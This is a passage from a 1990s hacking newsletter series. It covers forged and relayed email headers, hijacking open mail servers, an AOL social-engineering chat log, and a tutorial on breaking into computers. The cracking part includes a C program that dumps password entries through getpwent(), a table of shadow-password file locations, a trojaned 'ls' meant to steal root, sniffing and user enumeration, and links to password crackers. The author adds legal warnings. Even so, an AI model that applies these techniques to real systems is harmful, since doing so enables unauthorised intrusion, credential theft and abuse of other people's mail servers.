Mon.com is not a numerical IP address.com”).” This gives us the answer: 220 Fubarino.Fubarino.com LAN and found free. and who. It is the designation of the version of the mail program it runs.com computers I then was able.9 that it refers to the Sendmail program.16.com” is the most important part. but rather with fubaretta. and then dialin.

Answer: better error handling! That’s the same reason I don’t normally use Pegasus.12/951211. charset="iso-8859-1" To: (Recipient list suppressed) From: "Carolyn P. So when you read this part of the header you might think that the computer where I pick up my email is with the Fubaretta.2.8. friendly ASCII. Some people have asked me why I don’t use the 32 bit version (which runs on Win 95) instead of the 16 bit version. 1997.205.com would look up that message ID and find information tying that email to my Compuserve account. If your email program doesn’t use Mime. generally if it originates outside the US.0 Content-Type: text/plain.fooway. then I would have generated a different message ID.icefubarnet. from a copy that reached a test email address I had on the list: Received: by o200. But if I had put a different account name there.6. Meinel" <cmeinel@techbroker.net via ESMTP (950413. 14 Apr 1997 12:05:22 -0400 Received: from mocha. of course.SGI.fooway. Eudora lets me get away with stuph:) Mime (Multipurpose Internet Mail Extensions)is a protocol to view email.12/951211.16. April 12.4387d20a@mail. the sysadmin at fubaretta. Now let’s look at a slightly more exciting header. that fubaretta. 1997 . Mon. But all this really means is that I specified to Eudora that I was using a mail account at Fubar. extortion or email bombing. In fact. 14 Apr 1997 12:05:25 -0400 Date: Mon.8.SGI) for <pettit@techbroker.fooway.com [206.com> Subject: Happy Hacker Digest April 12. 14 Apr 1997 08:51:02 -0700 Message-Id: <2.net (950413.xxx. OK? The character set “us-ascii” tells us what character set this email will use.6. So this time I hope I sent all you guys plain.icefubarnet.2 (16) Mime-Version: 1.2 (16) Mime-Version: 1.com (Netscape Mail Server v2. That assumes. Mon. I don’t have an account at Fubaretta. Remember that war I declared on Web sites that provide downloads of email bombing programs? You know. this is a genuine muhahaha header.fooway.SGI)for techbr@fooway.SGI. The rest of the header is information provided by Eudora: X-Sender: cmeinel@fubar.net id MAA07059. Some email uses ISO ascii instead.211]) by mocha. Also. Please email me if what you got was still messed up. 14 Apr 1997 12:05:20 -0400 Received: from cmeinel (hd14-211.01) with SMTP id AAP3428.com ISP.If I were to have done something bad news with that email such as spamming.19970414100122. Did I need to have an account at Fubaretta? No.com X-Mailer: Windows Eudora Pro Version 2.foo. Those of you who got lots of garbage when I sent out GTMHH and Digest can blame it on Mime.com> id MAA06380.compuserve. charset="us-ascii" The “X-Mailer” information tells you I was using the 16 bit version of Windows Eudora Pro Version 2. In fact.0 Content-Type: text/plain. It’s from the Happy Hacker Digest. Mon. The mail server did not ask for a password.com is archiving message IDs.2.net> X-Sender: techbr@mail. you get lots of stuff like “=92” instead of what I tried to send.net (Unverified) X-Mailer: Windows Eudora Pro Version 2. those Windows 95 for lusers programs that run from a few mouse clicks? Here’s a header that reveals my tiny contribution toward making life unpleasant for the ISPs that distribute these programs. But this time I turned off the “printed quotable” feature in Eudora.com by o200.

net via ESMTP (950413.Now let’s examine the first field: Received: by o200.icefubarnet.211]) by mocha. But. which is normally the POP server port. So this explains the time correction notation of -0400.icefubarnet.6. Now we could do lots more strobing.net id MAA07059. but I’m getting bored.fooway.icefubarnet. But in my humble opinion you will learn much more by strobing ports by hand the same way I am doing here.fooway. 14 Apr 1997 12:05:22 -0400 We already looked at this computer o200.6. But.foo.net 110 Trying 207. If you have ever run one of those hacker “strobe” type programs that tell you what programs are running on each port of a computer. this is another way to see a Compuserve PPP session in a header.com by o200.xxx. it means this mail server was handling the Happy Hacker Digest mailing.57. So we check out the second field in this header: Date: Mon. 14 Apr 1997 08:51:02 -0700 This tells us that the Happy Hacker Digest was delivered to the mail server (SMTP stands for simple mail transport protocol) at mocha. So where is mocha.com (Netscape Mail Server v2.fooway. and this is very important to observe. Oregon 97xxx USA Now this is located four time zones earlier than the computer o200.01) with SMTP id AAP3428.12/951211.xxx. This merely represents a PPP session I set up with Compuserve. But to what is it correcting? Let’s see the next field in the header: Received: from mocha. Next field on the header tells us: Received: from cmeinel (hd14-211.net. Connected to o200. Mon.com in the header? If this header isn’t forged. 14 Apr 1997 12:05:25 -0400 Date: Mon.one reason I use it. > telnet o200.com ICEFUBARNET INTERNET.net. But you can’t learn much more easily because Compuserve has great security -.. Mon. why is mocha. I’m going to telnet to port 110.SGI) for <hacker@techbroker.8.fooway. Since I suspect this is a POP server. But take my word for it.com by Compuserve.net above. INC (ICEFUBARNET-DOM) 2178 Fooway North Bar. once again I did not use the Compuserve mail system.fooway.205. Mon. . 14 Apr 1997 12:05:22 -0400 That -0400 is a time correction. Escape character is '^]'.com located? A quick use of the whois command tells us: > whois icefubarnet. How can you tell? Playing with nslookup shows that the numerical representation of my Compuserve connection isn’t an Internet host.net (950413. They just automate the process that we are doing here by hand.SGI.192. +OK QUALCOMM Pop server derived from UCB (version 2.compuserve.icefubarnet.icefubarnet. there is really no big deal to it. heck.fooway.8. let’s probe a little more deeply. Now we know more about Fooway Technology’s POP server..4-R3) at mail starting.com [206.SGI.SGI)for techbr@fooway. 14 Apr 1997 12:05:20 -0400 Hmmm.com> id MAA06380.1.12/951211.

the message ID: Message-Id: <2. 1997 Notice Eudora does let us know that techbr@mail.net> Whoa. charset="iso-8859-1" To: (Recipient list suppressed) From: "Carolyn P.fooway. ********************************************* Newbie note: Shell programming? What the heck izzat? It means writing a program that uses a sequence of commands available to you in your Unix shell.net. In Eudora. If you want to be a real hacker. Meinel" <cmeinel@techbroker. it doesn’t have an SMTP or ESMTP server.zip). it gives a nasty error message accusing you of trying to forge email.0 Content-Type: text/plain. That signifies it is the 2.com/~astorm/uy4beta1. but you can’t mail stuff out from Fooway. Why did I use Icefubarnet? Because at the time it was hosting an ftp site that was being used to download email bomber programs (http://www.2 (16) Mime-Version: 1.net (Unverified) X-Mailer: Windows Eudora Pro Version 2. Then specify the computer to which you want to send your message ID under “POP Server. it definitely is not the sender.fooway.or if you know how to telnet to port 25 (which runs using the SMTP or ESMTP protocols) and give the commands to send email yourself. But the marvelous workings of the Internet combined with the naivete of the Eudora Pro 2. The remaining fields of the header were all inserted by Eudora: X-Sender: techbr@mail.fooway. Of course you can always commandeer mail servers by writing your own program to commander mail servers.19970414100122.fooway. So how was I able to use Icefubarnet Internet’s mail server to send out the Happy Hacker Digest? Fortunately Eudora’s naivete makes it easy for me to use any mail server that has an open SMTP or ESMTP port.back to how to commandeer mail servers while sending your message Ids elsewhere.2. the “2. The message ID of an email is not necessarily stored with the computer that sent it out.if you have the right program -.16” was inserted by Eudora. You may be surprised to discover that there are uncountable Internet mail servers that you may easily commandeer to send out your email -. On the message ID.” But if you try any of this monkey business with Pegasus.Now we get to the biggie.icefubarnet.2 program sent my message ID off to mail.com> Subject: Happy Hacker Digest April 12. And in fact.fooway. This is a very important fact.net anyhow. But if you were to do a little stobing.net has a POP server.fooway.16. you *must* learn Unix! If you are serious about continuing to study these GTMHHs.net? It’s pretty simple. just specify your victim mail server under the hosts section of the options menu (under tools). You can get mail from Fooway.2. In Eudora I specified my POP server as mail.net is unverified as sender. Last time I checked the owner of the account from which he was offering this ugly stuff was unhappy because Icefubarnet Internet had made him take it down.4387d20a@mail. you *must* either get a shell account or install some form of Unix on your home computer. But -.2 version for a 16 bit operating system. You may find places where you can sign up for shell accounts . how come that ID is at the computer mail. But that will be covered in the upcoming GTMHH on shell programming. you would discover that while fooway.

Sez right here in the welcome message you sent me when I signed up. You’re still in trouble if you break in without permission. 3 Number 5 will get into the really hairy stuff: how to do advanced deciphering of forged headers. as targets for cracking.com/pocia/. lots of hackers make fun of the kinds of stuff I think is fun: forging email and Usenet posts and programming Easter eggs into commercial software and creating Win 95 bootup screens that say “Bill Gates’ mother wears army boots. you. too. If you have permission from the owner of a computer.” Welcome to reality. “But. It doesn’t matter if you make some stranger’s computer better. In fact. 3 No. or breaking into a computer whose owner has given you permission to try to break in.sekurity. here it is. but.” But since everyone and his brother has been emailing me pleading for instructions on how to break into computers. Yes.org. 5 The Dread GTMHH on Cracking ____________________________________________________________ Nowadays if you ask just about anyone what a hacker is. it is most definitely legal to break into it. ********************************************* Hang. breaking into a computer is illegal. In fact. Yes. this Guide really *is* about harmless hacking. It doesn’t matter if you are just quietly sneaking around doing no harm. From time to time hardy souls offer up their computers for their friends. how to catch that 31137 d00d who emailbombed you or spammed you! Happy Hacking. on.” you say.through http://www. The only exceptions are breaking into your own computer. and be good! ___________________________________________________________ GUIDE TO (mostly) HARMLESS HACKING Vol. “This list is for *legal* hacking. Or email haxorshell@techbroker. Damien Sorder invites you to break into his Internet host computer obscure. An obsession with breaking into computers has swept the hacker world. . The dread GTMHH on Cracking. ************************************************ You can go to jail warning: Almost everywhere on the planet.” That is partly on account of news stories which make it seem like the only thing a hacker does is commit computer crime. Vol. Hackers fib sometimes. he or she will tell you “a person who breaks into computers. can become a genuine computer cracker and make everyone quake in his or her boots or slippers or whatever footgear they are wearing lately. or sometimes even the entire world. You don’t have to commit a crime to crack into a computer. ************************************************ Honestly. But there also is some truth to the public view.celestin. Bub. here’s a really fun computer that you have permission to break into.com for information on how to sign up with a shell account that is friendly to hackers and that you may securely telnet into from your local ISP PPP dialup.

Ask him if I was fibbing about his offer.org. in this case obscure. right? I say that those crackers who go searching for vulnerable computers and breaking into them are like Lounge Lizard Larry going into a bar and picking up the drunkest. that if he was a real hacker he’d be happy to have thousands of clueless newbies running Satan against his box. for example root@obscure. ugliest gal (or guy) in the place.sekurity. Here’s an example.0! What lusers.. in this case you may email info@sekurity.should!-. If he says I made it up. Damien requests “If you (or anyone) want to try to hack obscure. Zabu451: Hello from America Online! I'm sorry to inform you that there has been an error in the I/O section of your account database. Also.sekurity. and what domain you are coming from.include your own computer. ********************************************* From: Oracle Service Humour List <oracle-list-return-@synapse. haw. Then add “root@” to the domain name. please mail root@sekurity. Yeah.org for other stuff during the day. That way I can distinguish between legit and real attacks. and this server's password information has been temporarily destroyed. tell him he’s just chicken.000 crazed readers of the Happy Hacker list? Here’s a good way to check the validity of offers to let anyone try to break into a computer.org. The simplest is to social engineer your way in.that you want more from life than to be the Lounge Lizard Larry of the hacker world -. Thank you for your help.But how do you know whether this or any other announcement of a cracker welcome mat is legitimate? How do you know I’m not just playing a mean old trick on Damien by sending out an invitation to break into his box to the 5. So with this in mind -. however. the AOL user. Also. Get the domain name of the target computer. please be good guys and attack off hours (Mountain Daylight Savings Time. we all are sure impressed. US) so he can use obscure.0 dudes a lesson. . So let’s assume that you have chosen a legitimate target computer to try to break into.sekurity. Just kidding:) Actually. sendmail 4. you will limit your forays to computers whose owners consent to your explorations.here are some basics of breaking into computers. This can -. They sure taught those sendmail 4. This generally involves lying.org? They say it’s more fun to break into a computer when they’re breaking the law? They say to be a Real Hacker you must run around trashing the boxes of the cringing masses of Internet hosts? Haw.net> Subject: HUM: AOL Hacker Turnaround (***) Read Newfpyr's masterful turning of the tables on a hacker. they say. Damien. Certainly one of the best Absurd IMs we've EVER received! Newfpyr's comments are in brackets throughout. If you want to be a truly elite cracker. for providing a legal target for the readers of this GTMHH to test their cracking skills. to hit reply and type in your password.sekurity.” We all owe you thanks.. Email the owner of that computer. We need you. There are an amazing number of ways to break into computers.org and mention that you are doing it.org for more details on Damien’s offer to let one and all try to crack his box. What? Some guys say it’s too hard to break into a fortified box like obscure.

Could you please type it in? Zabu451: i dont have one NewfPyr: What do you mean? That's the first thing every manager gets! Zabu451: it got deleted NewfPyr: Wow! You must be having a lot of trouble. I mean. I'm sorry to hear that your server has lost the password info. Do you want me to send you the list of all the passwords of all the screen names of your server? Zabu451: ya i want that NewfPyr: Let me get the server manager to send it.. It said he was from Springfield.0 . Mass. now that we have your number. your number has been tracked to an area in Springfield. Mass. this has been happening too much lately. Okay. We have developed some solutions to this problem..] NewfPyr: Okay. Let me find out what server you're using. Here's a solution to this problem: try connecting your backup database to your main I/O port. Zabu451: no i still need passwords NewfPyr: I see. Don't you have it? Zabu451: do you know my address!?!?!?!!?!? NewfPyr: Of course not. and we are sending a repair team over there. Zabu451: good NewfPyr: I only know the number you're calling AOL from. which is from your server. There's been some problems with the server mailer lately. Zabu451: how did u know?!!!?!?!!?!?!?!?!??!! NewfPyr: I used Server Tracker 5. well. Oh. Have you got the mail sent out to all server managers? Zabu451: no NewfPyr: Really? Ouch. right? Zabu451: yes NewfPyr: Good. Zabu451: nonononono dont stop them now NewfPyr: Why? Isn't your server down? Zabu451: nonono its working now .. we have your address.. then accessing the system restart.Newfpyr: Hello! This is Server Manager #563. NewfPyr: He says I need your server manager password. [Note: I checked his profile.

I can't do that. You won’t go to prison for a year. Zabu451: No! IM SORRY Zabu451: PLEASE MAKE THEM STOP Zabu451: PLEASE [I thought this was enough. They should be at your house in 5 minutes. Zabu451: IM SORRY IL DO ANYTHING PLEASE I DONT WANT THEM TO HURT ME Zabu451: PLEASE Zabu451: PLEEEEEEEEEEEEEEAAAAAAAAASSSSSSSSE NewfPyr: They won't hurt you! You'll probably only spend a year of prison. Zabu451: im calling from my house NewfPyr: But you said you where calling from the server! Zabu451: i lied im not reely a server guy NewfPyr: But you said you were! Zabu451: i lied i trying to get passwords please make them stop NewfPyr: Okay. Zabu451: i thout so NewfPyr: You’ll go for two years.] NewfPyr: Since this was a first time offense. Zabu451: no IM ONLY A KID NewfPyr: You are? That makes it different. You know. Zabu451: good NewfPyr: But a team of FBI agents is. He was probably wetting his pants.NewfPyr: They’re still coming. Zabu451: STOP THEM NOW NewfPyr: I can't break AOL Policy. Zabu451: NONONONO Zabu451: im sorry Zabu451: ill never do it again please make them not come Zabu451: PLEASE IL STOP ASKING FOR PASSWORDS FOREVER PLEASE MAKE THEM STOP!! NewfPyr: I’m sorry. . where you're calling AOL from. Zabu451: POEPLE ARE COMING TO MY HOUSE?!?!?!?!?? NewfPyr: No! To your server. I think I can drop charges. The repair team isn't coming anymore. just in case.

and if your Trojan is well written. when I trace a route from an Albuquerque AOL session to my favorite Linux box in Albuquerque.com (Want more of this humor in a jugular vein? Check out http://www.while also spawning a root shell for your very own use! *************************************************** Newbie note: if you can get into a root shell you can do anything -.thanks a lot! Submitted by: Fran C. T. @ aol.netforward. then maybe you are ready to try the Trojan Horse. give the command (on a Unix system) of “traceroute my. to get messed up even by the most well-meaning of friends. What this means is any time you want to log into a computer from another computer by using telnet. we'll bump you off. on a Unix shell account you might put a Trojan in your home directory named “ls.] One of the RARE RARE occasions that we've actually felt sorry for the hacker. So this attack is clearly not for the beginner. A good systems administrator will give him or herself root privileges only when absolutely necessary to perform a task.” Sometimes you may discover that when you telnet from one computer to another even within the city you live in.” Then you tell tech support that there is something funny going on in your home directory. M.Zabu451: yea Zabu451: thankyouthankyouthankyou NewfPyr: The FBI agents have been withdrawn. This is a type of attack wherein a program that appears to do something legitimate has been altered to attack a computer. If the tech support guy is sufficiently clueless. Trojans are only one of the many reasons for this caution. your password is at the mercy of any sniffer program that may be installed on any computer through which your password travels. Zabu451: i wont im sorry goodbye [He promptly signed off.computer. OK.' before '/bin'.ANYTHING -. this means it is surprisingly easy to screw up a Unix system while operating as root. “This will only work depending on his 'PATH' statement for his shell. *************************************************** Another attack is to install a sniffer program on an Internet host and grab passwords. Else. it will call the real ls program to display your file info -. be prepared for anything. For example. NewfPyr! We're STILL laughing . To get an idea of how many computers “see” your password when you telnet into your remote account.com/poboxes/?ablang) ***************************************** Maybe you are too embarrassed to act like a typical AOL social engineering hacker. If you ever do it again. you may go through a dozen or more computers! For example.” Presuming the sysadmin has been this careless. it won't. If he searches '. Alas. I get: C:\WINDOWS>tracert fubar. However. He then gives the command “ls” to see what’s there.computer” (it’s “tracert” in Windows 95) where you substitute the name of the computer you were planning to log in on for the “my. he may go into you account while he has root permission. and I mean ANYTHING.com . SEVENTY FIVE TOKENS to you. to set up a sniffer you must be root on the Unix box on which it is installed.to your victim computer. Before you invite your friends to hack your box. then it will work. According to Damien Sorder.

25] 5 469 ms 6 426 ms 7 399 ms 8 400 ms 9 495 ms ] 10 522 ms 11 468 ms 12 551 ms 328 ms 329 ms 323 ms 329 ms 382 ms 548 ms 448 ms 466 ms 493 ms 329 ms 329 ms 328 ms 493 ms 329 ms 437 ms 461 ms 512 ms 492 ms ipt-q1.com [208.net [204. The simplest way to get a password file is to steal a backup tape from your victim.mci. which are so easy they will blow your socks off.aol.70.61] If someone were to put a sniffer on any computer on that route.51] american-comm-svc.” If you want to get a password on a computer that you know is being accessed remotely by people using Windows 3. What the computer does is perform its encryption operation on the password you enter and then compare it with the encrypted entries in the password file.com [152.69] h10-1.” These archives are at http://www. Even before the computer knows who you are. But if your target computer doesn’t run a program to prevent people from picking easy passwords.86 989 ms 490 ms webdownlink. Look for an entry titled “Password problem in Trumpet Winsock. you must be able to command it to compare your user name and password with its password file.222.205.proxy.aol.128.es/others/ssh/.net [204.37.128.70.mci.194. they could get my password! Now do you want to go telneting around from one of your accounts to another? A solution to this problem is to use Secure Shell.Houston.Reston.Houston. But how do you get password files? A good systems administrator will hide them well so even users on the machine that holds them can’t easily obtain the file.xx.com [208.70 core3.foobar.163.mci.56.t3.Memphis.33 491 ms 492 ms fubar.1. According to the promotional literature.163. But often it is easy to get the entire password file of a LAN remotely from across the Internet.125.169] border7-fddi-0.70. This is a program you can download for free from http://escert.net [204.ans. in the Bugtraq archives.mci.98] 493 ms 491 ms 208.ans. Of course the password file will be encrypted.95] tot-ta-r5.70.134. and if you can get physical access to that Windows box. You job as the would-be cracker is to figure out the name of this file and then get your target computer to deliver this file to you.org/lsv-archive/bugtraq. You can find the details.net [207.57 140.Tracing route to fubar.proxy. to execute commands in a remote machine.126] f4-1.128. This is one reason that most computer breakins are committed by insiders.net [204. Why should this be so? Think about what happens when you log in. it is easy to decrypt many passwords. and to move files from one machine to another.128.net [140.61] over a maximum of 30 hops: 1 322 ms 2 467 ms 3 467 ms 4 467 ms .223.com [152.xx. It provides strong authentication and secure communications over insecure channels.upc.html Another way to break into a computer is to get the entire password file.X. and if it is using Trumpet Winsock.191.25.xx. there is a super easy way to uncover the password.Washington-DC.Houston.1] core2-hssi-2. “Ssh (Secure Shell) is a program to log into another computer over a network.t60-4.netspace.t56-1. So the entire world must have access somehow to this encrypted password file.t3.net [208. .205.

R. Example: #include <pwd. Comments in brackets have been added to the K.2. ********************************************* Strategy For Getting Root With a shadowed Passwd step#1 anonymous ftp into the server get passwd [This step will almost never work.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.h> main() { struct passwd *p.. p->pw_uid.] step #2 To defeat password shadowing on many (but not all) systems. It may be obtained from http:// www-personal.K. which was published in the ezine K.com>).adjunct = .K (produced by od^pheak <butler@tir. [The following list of likely places to find the unshadowed backup is available from the “Hack FAQ” written by Voyager. text.A.x /tcb/auth/files/<first letter * of username>/<username> SunOS4..A.0s /tcb/files/auth/?/ * BSD4. p->pw_name. p->pw_passwd. while(p=3Dgetpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n".1 /etc/shadow * OSF/1 /etc/passwd[. p->pw_gid.C.engin.C..1+c2 /etc/security/passwd. p->pw_gecos.umich.A tutorial on how to do this. follows. } Or u can Look for the Unshadowed Backup.. but even the simplest attack may be worth a try.dir|. p->pw_dir.pag] * SCO Unix #.edu/~jgotts/hack-faq] Unix Path needed Token ---------------------------------------------------------------------AIX 3 /etc/security/passwd ! or /tcb/auth/files/<first letter # of username>/<username> A/UX 3. write a program that uses successive calls to getpwent() to obtain the password file. p->pw_shell).R.3-Reno /etc/master.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.

bishkek. If password cracking doesn’t work.ac. The verify command in sendmail is another way to get user names.htm One password cracker for Windows NT is L0phtcrack v1.ca/samfaq.dir|. A good systems administrator will turn off both the finger daemon and the sendmail verify command to make it harder for outsiders to break into their computers. whether it is on a local area network. you can always get control of it one way or another. See the GTMHH Vol.10.su/crack/index.uk/~phac107/c50a-nt-0.com (that's a ZERO after the 'L'.1 for some ways to finger as many users as possible on a system.pag] * UNICOS /etc/udb =20 x Step #3 crack it [See below for instructions on how to crack a password file.sun. Another Windows NT password cracker is Alec Muffett's Crack 5.##username SunOS 5. How do you extract the passwords? An example of one of the many programs that can crack poorly chosen passwords is Unix Password Cracker by Scooter Corp.info. It comes with source so you can build it on just about any platform.on. It is available for FREE from http://www. is that if you have something on your computer you absolutely.com. you will still need to correlate passwords with user names. if you can get physical access to the computer. not an 'o').bishkek.1 No. there is yet another way to get user names. Of special importance are the ports that are open and the daemons running on them.way too many -.su/UNIX/crack-2a/crack-2a. there are many -.tgz Even if you crack some passwords. Authors are mudge@l0pht. 1.0 /etc/shadow System V Release 4.L0pht. It is available at ftp://ftp. One way to do this is to get a list of users by fingering your target computer. Find out what operating system it runs.0 /etc/shadow <optional NIS+ private secure maps/tables/whatever> System V Release 4.other ways to break into a computer. For example.0 at http://www.rc. you had better encrypt it . positively don’t want anyone to read. See the GTMHHs on Windows for many examples.] ************************************************** So let’s say you have managed to get an encrypted password file. If finger and the verify commands are disabled. Oftentimes the part of a person’s email that comes before the “@” will also be a user name.tgz or http://iukr.html A good tutorial on some of the issues of cracking Windows NT passwords may be found at http://ntbugtraq.2 /etc/security/* database Ultrix 4 /etc/auth[. Learn as much as you can about the computer you have targeted.com and weld@l0pht. Following are some suggestions on how to learn these techniques.rhbnc. and what programs it is running.5. of course. What this means.

internic. That is in large part because it will run in DOS mode.net/rfc/rfc1700.net/. You can get a free beta copy of their scanner for Win NT at http://www. write and delete files.netspace. Then you should hope no one discovers a fast way to factor numbers (the mathematical Achilles Heel of RSA and PGP).iss. We assume you are better than that.fc.net/pub/defcon/SATAN/ or a bazillion other hacker ftp sites.on. As one teen hacker told me after returning from Def Con V.rc. your next step would be to determine how it is connected to the Internet. The most important issue here is what TCP/IP ports are open and what daemons run on these ports. you aren’t a hacker. One place you can look this up is http://ds2. . Internet Security Systems also offers some freebie programs. and then tells you whether there are breakin techniques known to exist for those daemons. Another great port scanner is Internet Security Scanner. you can’t even begin to pretend you have a secure network. For a complete list of commonly used TCP/IP ports. and absolutely free. lots of people who are ignorant on operating systems break into computers by using canned programs against pitifully vulnerable boxes. This tool costs lots of money. the vast majority of computer breakins are done by people who are employees of the company that is running that LAN on which the victim computer is attached. It is offered by Internet Security Systems of Norcross.blanket. See the GTMHH on forging email for examples of fun ways to play *legally* with port 25 on other people’s computers. The best archives of breakin techniques for Unix are Bugtraq http://www. Georgia USA. “Many of the guys there didn’t even know the ‘cat’ command!” Anyone can break into some computer somewhere if they have no pride or ethics. In fact. 1-800-776-2362. You’re just a computer vandal. Sure. If you can’t get physical access.with RSA. The most common mistake of computer security professionals is to set up a firewall against the outside world while leaving their LAN wide open to insider attack. *************************************************** Newbie note: TCP/IP ports are actually protocols used to direct data into programs called “daemons” that run all the time an Internet host computer is turned on and connected to the Net. which allows any user to read. Not PGP. your next best bet is if you are on the same LAN.com/iss. Important note: if you have even one Windows 95 box on your LAN.html#RS_NT. but is the security scanner of choice of the people who want to keep hackers out. waiting for incoming or outgoing data to spur it into action. A cheap and easy partial shortcut to this arduous learning process is to run a program that scans the ports of your target computer. For Windows NT.ca/index. RSA.net/about/whatsnew.txt **************************************************** 2. You can download it from ftp://ftp. If the breakin is so easy you can do it without having a clue what the command “cat” is. An example of a daemon that can do interesting things when it gets data under SMTP is sendmail.org/lsvarchive/bugtraq. check out http://ntbugtraq. called SMTP (simple mail transport protocol).iss.html. The "Localhost" Internet Scanner SAFEsuite is set to only run a security scan on the Unix computer on which it is installed (hack your on box!) You can get it from http://www. Study the ways other people have broken into a computer with that operating system and software. An example of a TCP/IP port is number 25. Satan is a good one. Understand the operating system of the computer you plan to crack. finds out what daemons are running on each port. 3. You can reach ISS at http://www.html. see RFC 1700. If the computer you have targeted is on the Internet.html.

in the book Takedown. This is where those zillions of hacker web pages come into play.sekurity. some have a daemon set up so that every time you scan even one port of their boxes. He emailed each of his targets a list of the vulnerabilities he found. He was probably doing this in all sincerity. That’s why. But the average hacker relies on programs other hackers have written to do their deeds. Now that you know what vulnerable programs are running on your target computer.org. you may be in for an ugly surprise or two. Nevertheless. You can spend months downloading all those programs with promising names like “IP spoofer.” I asked my friend. recently an Irish hacker was running “security audits” of the Emerald Island’s ISPs. he got that hacker kicked off his ISP. but some of the people who write programs that are used to break into computers are not exactly Eagle Scouts. This has the advantage that most systems administrators assume you are merely curious. ****************************************************** You may laugh yourself silly warning: If you port scan by hand against obscure.52. In most places it is legal to scan the ports of other people’s computers. “But why give him a hard time for just doing security scans? He may have woken up an administrator or two.and another email to you telling you to turn yourself in! The solution to this is to use IP spoofing. However.” he replied. But aren’t hackers brilliant geniuses that discover new ways to break into computers? Yes. Many of the GTMHHs show examples of port scanning by hand. However.0. This may come as a total shock to you. a few months ago I got a credible report that a giant company that uses ISS to test its boxes on the Internet backbone accidentally shut down an ISP in El Paso with an ISS automated syn flood attack. maybe not) broke into Tsutomu Shimomura’s computer to steal a program to turn a Nokia cell phone into a scanner that could eavesdrop on other people’s cell phone calls.188. . if you run Satan or any other port scanning tool against computers that you don’t have permission to break into. Do a web search for “hacker” and “haxor” and “h4ck3r” etc. try out http://204. it automatically sends an email to the systems administrator of the ISP you use complaining that you tried to break in -. “For the same reason they scramble an F-16 for a bogie. For example.In theory ISS programs are set so you can only use them at most to probe computer networks that you own. next you need to decide what program you use to break in. This offers the Asmodeus Network Security Scanner for Windows NT 4. But since I’m sure you are only going to try to break into computers where you have permission to do so. you may run into some hilarious daemons installed on weird high port numbers. ****************************************************** 4. some hacker (maybe Kevin Mitnick. some are.99. The way I get around the problem of getting people mad from port scanning is to do it by hand using a telnet program.” Unfortunately. you don’t need to know how to spoof your IP address. you may get kicked off of your ISP. But when this freelance security auditor probed the ISP owned by one of my friends. If you want to get a port scanner from a quiet little place.

So Mr. where I upload stuff for friends so I am gonna leave a nice little surprise for him in a very cool looking program . And there are many different flavors of Unix. which way do you plan to go? To be known as a good guy. Remember this! If you get busted for breaking into a computer. However.do you have any idea of how expensive lawyers are? I haven’t even hinted in this tutorial at how to keep from getting caught. Some computers are ridiculously easy to break into.) The problem is that a program written to run in. for example. poor. It is also possible that the guy who wrote that breakin program may have a conscience. ******************************************** So. computer programmers would never.gz”. angry? Busted? Staring at astronomical legal bills? . see the GTMHHs on how to get a good shell account. you are in trouble big time. etc. Most computer breakin programs run on Unix. It is at least as hard to cover your tracks as it is to break into a computer. Learn how to program! Even if you use other peoples’ exploit programs. He or she may have figured that most people would want to use it maliciously. if you manage to break into a computer that is well managed. Let’s say you aren’t going to destroy all your files from some nice little surprise. Tender Conscience can feel that only people who know how to program will be able to use that exploit software. really hard? Does all this mean that if you break into someone’s computer you have proven your digital manhood (or womanhood)? No. 5. But if you break into a poorly defended computer run by dunces. For each flavor of Unix you can mix or match several different shells. the other day a fellow who shall remain nameless wrote to me “I discovered a person has been looting my www dir. compulsively breaking into strangers’’ computers. So if you had to read this to learn how to break into computers.For example. the csh shell on Solaris Unix may not run from the bash shell on Slackware Linux or the tcsh shell on Irix. Even if you say you made the computer better while you were prowling around in it. So they made a few little teeny weeny changes to the program.) (if you know what I mean)” But let’s say you download a program that promises to exploit that security hole you just found with a Satan scan. and having all the hacker fun you can imagine? Or are you going to slink around in the dark. but you are running Windows. afraid. And -. (If none of this makes sense to you./Ms. you are going to wind up in a world of hurt if you use this to trespass in other people’s computers. A good tip off that this may be your problem is a file name that ends with “. making tons of money. And your chances of becoming a computer security professional drop almost to zero. So. for example commenting out some lines. and that you have permission to test. all you have proven is that you lack good taste and like to get into really stupid kinds of trouble. you may need to tweak a thing or two to get them to run. Even if you say you did no harm. does all this mean that breaking into computers is really. it may be that it is designed to run on the Unix operating system. ever do something mean and horrible to someone else’s computer. The two most common languages for exploit programs are probably C (or C++) and Perl. ******************************************** Newbie note: If you can’t get that program you just downloaded to run. And as we all know. So this brings us to the next thing you should know in order to break into computers. you are on your way to a high paying career in computer security. Your next task may be to get this exploit program to compile and run.

whatever. And don’t forget to try to crack obscure. ever use Internet Explorer. But if you can persuade your teachers that you are the good guy who will help protect them from digital vandals. (Turn off Java on your browser! Never.org. 6 How to Be a Hero in Computer Lab ____________________________________________________________ If you are a student. you know you can get into trouble if you hack your school’s computers. No one has managed to break it when attacking from the outside. or keystroke grabbers. You may even get their permission to try break-in techniques. Show some chivalry and please don’t beat up on the helpless. We haven’t even touched on topics such as how to look for back doors that other crackers may have hidden on your target computer. But if you do.If you like the rich and happy alternative. · Keep clueless kiddie hackers from messing up your school computer system ************************************************************ This Guide will give you some tips for safely proving just how good you are. Get busted for trying this out on some Lower Slobovian businessman’s computer and we will all make fun of you. check out back issues of the Happy Hacker Digests to see what computers are open to the public to try to crack into. Of course this Guide barely scrapes the surface of breaking into computers. But I would feel really bad if someone were to use the tips in this Guide to mess up his or her life. you will have experienced a thrill that is far greater than breaking into some Lower Slobovian businessman’s 386 box running Linux 2. 3 No. Hope to hear from you! ____________________________________________________________ Warning! Use this information at your own risk. ************************************************************ You can mess up your life warning: In most countries kids don’t have nearly the legal protections that adults have. We’ll also make new announcements as we discover them. you can become a hero. OK? And stay out of jail or we will all make fun of you when you get caught. ************************************************************ In this Guide you will learn how to: · Customize the animated logo on Internet Explorer · Circumvent security programs through Internet Explorer · Circumvent security programs through any Microsoft Office programs · Circumvent FoolProof · Circumvent Full Armor · Solve the web babysitter problem · Break into absolutely any school computer. If you get involved in a hacker gang at school and you guys get caught.) But maybe some of you ubergenius types reading this could help us out. or attacks through malicious code you may encounter while browsing the Web.0 with sendmail 4. I promise! That goes double for Upper Slobovian boxes!! ____________________________________________________________ GUIDE TO (mostly) HARMLESS HACKING Vol. and maybe even showing your hacker teacher buddies a thing or two. either. I don’t have a clue of how to get inside it. you can easily get .sekurity. You may have to discover a new exploit to breach its defenses.

